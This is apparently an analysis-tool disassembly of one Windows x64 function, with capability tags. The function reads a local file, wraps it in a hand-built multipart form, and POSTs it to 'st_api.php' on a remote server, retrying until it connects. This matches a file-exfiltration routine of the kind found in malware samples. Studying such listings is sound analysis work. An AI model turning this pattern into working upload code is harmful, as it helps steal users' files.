Function at 0x14006aa04
Capabilities:
Get file size
Read file on windows
Reference http user-agent string
Set current directory

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x838]
sub rsp, 0x910
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
lea rcx, [rbp - 0x30]
call fcn.140074d68
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
or rbx, 0xffffffffffffffff
cmp byte [rbp - 0x30], dil
jne 0x14006aa64
mov r8d, edi
jmp 0x14006aa74
lea rax, [rbp - 0x30]
mov r8, rbx
inc r8
cmp byte [rax + r8], dil
jne 0x14006aa6b
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14000472c
nop
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
add r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
mov esi, 7
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x70], rdi
mov word [rsp + 0x60], di
lea rcx, [rsp + 0x60]
call fcn.1400176b8
nop
lea rcx, [rbp - 0x80]
call fcn.140074cb0
nop
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
lea r14d, [rsi - 6]
mov r8d, r14d
mov edx, 0x80000000
lea rcx, [0x140097d50]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, rbx
je 0x14006ad03
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r12d, eax
mov byte [rbp - 0x58], dil
xor edx, edx
lea r8d, [rsi + 0x20]
lea rcx, [rbp - 0x57]
call fcn.140046360
lea rcx, [rbp - 0x58]
call fcn.140074d68
lea r9, [rbp - 0x58]
lea r8, [0x140096764]
lea rdx, str.______7d82751e2bc0858_r_nContent_Disposition:_form_data__name__s___filename__s__r_nContent_Type:_application_octet_stream_r_nContent_Transfer_Encoding:_binary_r_n_r_n
lea rcx, [rbp + 0x10]
call qword [sym.imp.USER32.dll_wsprintfA]
mov ebx, 0x1388
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
lea rcx, str.Mozilla_5.0
call qword [0x1400c4868]
test rax, rax
jne 0x14006ab9e
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14006ab75
lea rdx, [0x1400c0930]
cmp qword [0x1400c0948], 8
cmovae rdx, qword [0x1400c0930]
mov r8d, 0x50
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov rcx, rax
call qword [0x1400c4908]
test rax, rax
je 0x14006ab94
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.st_api.php
lea rdx, str.POST
mov rcx, rax
call qword [0x1400c4838]
mov r14, rax
lea rcx, str._r_n______7d82751e2bc0858___r_n
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea eax, [r12 + rbx]
add esi, eax
mov ecx, esi
call fcn.140041f2c
mov rdi, rax
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd r8, eax
lea rdx, [rbp + 0x10]
mov rcx, rdi
call fcn.140042640
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rdx, eax
add rdx, rdi
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x840]
mov r8d, r12d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rcx, str._r_n______7d82751e2bc0858___r_n
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rbx, eax
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [r12 + rax]
add rcx, rdi
mov r8, rbx
lea rdx, str._r_n______7d82751e2bc0858___r_n
call fcn.140042640
lea rcx, str.Content_Type:_multipart_form_data__boundary____7d82751e2bc0858
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r8d, eax
mov dword [rsp + 0x20], esi
mov r9, rdi
lea rdx, str.Content_Type:_multipart_form_data__boundary____7d82751e2bc0858
mov rcx, r14
call qword [0x1400c48c0]
lea r9, [rbp + 0x848]
mov r8d, 0x400
lea rdx, [rbp + 0x410]
mov rcx, r14
call qword [0x1400c4938]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov ebx, edi
lea esi, [rdi + 7]
cmp qword [rbp - 0x68], 8
jb 0x14006ad13
mov rcx, qword [rbp - 0x80]
call fcn.1400431dc
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x70], rdi
mov word [rbp - 0x80], di
cmp qword [rsp + 0x78], 8
jb 0x14006ad31
mov rcx, qword [rsp + 0x60]
call fcn.1400431dc
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x70], rdi
mov word [rsp + 0x60], di
cmp qword [rsp + 0x58], 0x10
jb 0x14006ad52
mov rcx, qword [rsp + 0x40]
call fcn.1400431dc
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
mov eax, ebx
lea r11, [rsp + 0x910]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret